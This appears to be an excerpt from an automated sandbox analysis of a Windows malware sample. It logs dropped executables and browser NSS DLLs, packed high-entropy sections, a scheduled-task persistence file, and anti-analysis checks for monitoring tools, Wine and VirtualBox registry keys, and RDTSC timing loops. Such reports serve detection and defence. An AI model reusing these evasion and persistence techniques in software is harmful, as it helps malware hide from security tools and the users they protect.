Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB2BA0 push 7EAB0002h; ret	12_2_7EAB2BAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1CA0 push 7EAB0002h; ret	12_2_7EAB1CAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB10A0 push 7EAB0002h; ret	12_2_7EAB10AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB13A0 push 7EAB0002h; ret	12_2_7EAB13AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB16A0 push 7EAB0002h; ret	12_2_7EAB16AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB19A0 push 7EAB0002h; ret	12_2_7EAB19AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1FA0 push 7EAB0002h; ret	12_2_7EAB1FAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB22A0 push 7EAB0002h; ret	12_2_7EAB22AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB25A0 push 7EAB0002h; ret	12_2_7EAB25AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB28A0 push 7EAB0002h; ret	12_2_7EAB28AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB2DB0 push 7EAB0002h; ret	12_2_7EAB2DBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB2AB0 push 7EAB0002h; ret	12_2_7EAB2ABF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1EB0 push 7EAB0002h; ret	12_2_7EAB1EBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1BB0 push 7EAB0002h; ret	12_2_7EAB1BBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB0FB0 push 7EAB0002h; ret	12_2_7EAB0FBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB12B0 push 7EAB0002h; ret	12_2_7EAB12BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB15B0 push 7EAB0002h; ret	12_2_7EAB15BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB18B0 push 7EAB0002h; ret	12_2_7EAB18BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB21B0 push 7EAB0002h; ret	12_2_7EAB21BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB24B0 push 7EAB0002h; ret	12_2_7EAB24BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB27B0 push 7EAB0002h; ret	12_2_7EAB27BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB2D80 push 7EAB0002h; ret	12_2_7EAB2D8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB2A80 push 7EAB0002h; ret	12_2_7EAB2A8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1E80 push 7EAB0002h; ret	12_2_7EAB1E8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1B80 push 7EAB0002h; ret	12_2_7EAB1B8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB0F80 push 7EAB0002h; ret	12_2_7EAB0F8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1280 push 7EAB0002h; ret	12_2_7EAB128F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1580 push 7EAB0002h; ret	12_2_7EAB158F
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB1880 push 7EAB0002h; ret	12_2_7EAB188F

Source: file.exe	Static PE information: section name: entropy: 7.994909511132675
Source: file.exe	Static PE information: section name: entropy: 7.981025840089605
Source: file.exe	Static PE information: section name: entropy: 7.954325659618312
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: entropy: 7.984628991190108
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: puezhyxb entropy: 7.954305600087462
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.984628991190108
Source: amadka[1].exe.0.dr	Static PE information: section name: puezhyxb entropy: 7.954305600087462
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.984628991190108
Source: explorti.exe.6.dr	Static PE information: section name: puezhyxb entropy: 7.954305600087462
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.994909511132675
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.981025840089605
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.954325659618312
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name: entropy: 7.994909511132675
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name: entropy: 7.981025840089605
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name: entropy: 7.954325659618312

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6555F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 102D84C second address: 102D852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 102DB46 second address: 102DB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB168B06457h 0x00000009 jmp 00007FB168B0644Dh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 102DB6F second address: 102DB87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 102DB87 second address: 102DB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 103034E second address: 1030352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030352 second address: 1030358 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030358 second address: 1030413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FB16943CCA9h 0x00000012 mov ecx, dword ptr [ebp+122D29F6h] 0x00000018 pop edx 0x00000019 add dword ptr [ebp+122D1A79h], ebx 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+122D2C22h] 0x00000027 push 214CDD35h 0x0000002c pushad 0x0000002d jmp 00007FB16943CC9Eh 0x00000032 jmp 00007FB16943CCA9h 0x00000037 popad 0x00000038 xor dword ptr [esp], 214CDDB5h 0x0000003f sbb dl, FFFFFF97h 0x00000042 push 00000003h 0x00000044 or dword ptr [ebp+122D17E7h], edi 0x0000004a push 00000000h 0x0000004c call 00007FB16943CCA2h 0x00000051 pop edi 0x00000052 mov esi, dword ptr [ebp+122D2A82h] 0x00000058 push 00000003h 0x0000005a push edx 0x0000005b cmc 0x0000005c pop edi 0x0000005d call 00007FB16943CC99h 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FB16943CCA5h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030413 second address: 1030419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030419 second address: 103041D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 103041D second address: 103045E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FB168B0644Fh 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 ja 00007FB168B0646Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB168B06457h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 103045E second address: 10304A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FB16943CCA4h 0x00000012 jmp 00007FB16943CC9Ch 0x00000017 popad 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB16943CCA0h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10305AF second address: 10305B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030746 second address: 103074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 103074C second address: 1030750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1030750 second address: 10307DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 14D6C700h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FB16943CC98h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 add dword ptr [ebp+122D26D7h], ecx 0x0000002f mov dword ptr [ebp+122D1BD9h], ebx 0x00000035 lea ebx, dword ptr [ebp+12455258h] 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FB16943CC98h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 pushad 0x00000056 call 00007FB16943CCA7h 0x0000005b mov edi, 6DFE6BA1h 0x00000060 pop ebx 0x00000061 mov ah, bl 0x00000063 popad 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10307DA second address: 10307DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10307DE second address: 10307E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10307E2 second address: 10307E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105222F second address: 1052235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1052235 second address: 1052290 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jnp 00007FB168B06448h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007FB168B06454h 0x0000001a push eax 0x0000001b jmp 00007FB168B06457h 0x00000020 jmp 00007FB168B06453h 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 pop eax 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1052290 second address: 1052294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105005D second address: 105007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06450h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FB168B06448h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105085C second address: 1050861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1050861 second address: 1050867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1050867 second address: 105086D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1050985 second address: 105098B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 105098B second address: 10509C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB16943CC9Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB16943CCA8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FB16943CC96h 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10509C1 second address: 10509C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10509C7 second address: 1050A00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB16943CC9Bh 0x0000000e jmp 00007FB16943CCA1h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 102028D second address: 1020291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1020291 second address: 1020299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1020299 second address: 10202A9 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB168B06452h 0x00000008 jc 00007FB168B06446h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202A9 second address: 10202B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202B0 second address: 10202CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d jnl 00007FB168B0644Eh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202CB second address: 10202E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CCA7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202E6 second address: 10202FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202FC second address: 1020302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1020302 second address: 1020306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1020306 second address: 102030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051888 second address: 105188F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051A14 second address: 1051A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051BCB second address: 1051BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1051BD1 second address: 1051BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FB16943CC96h 0x0000000d rdtsc
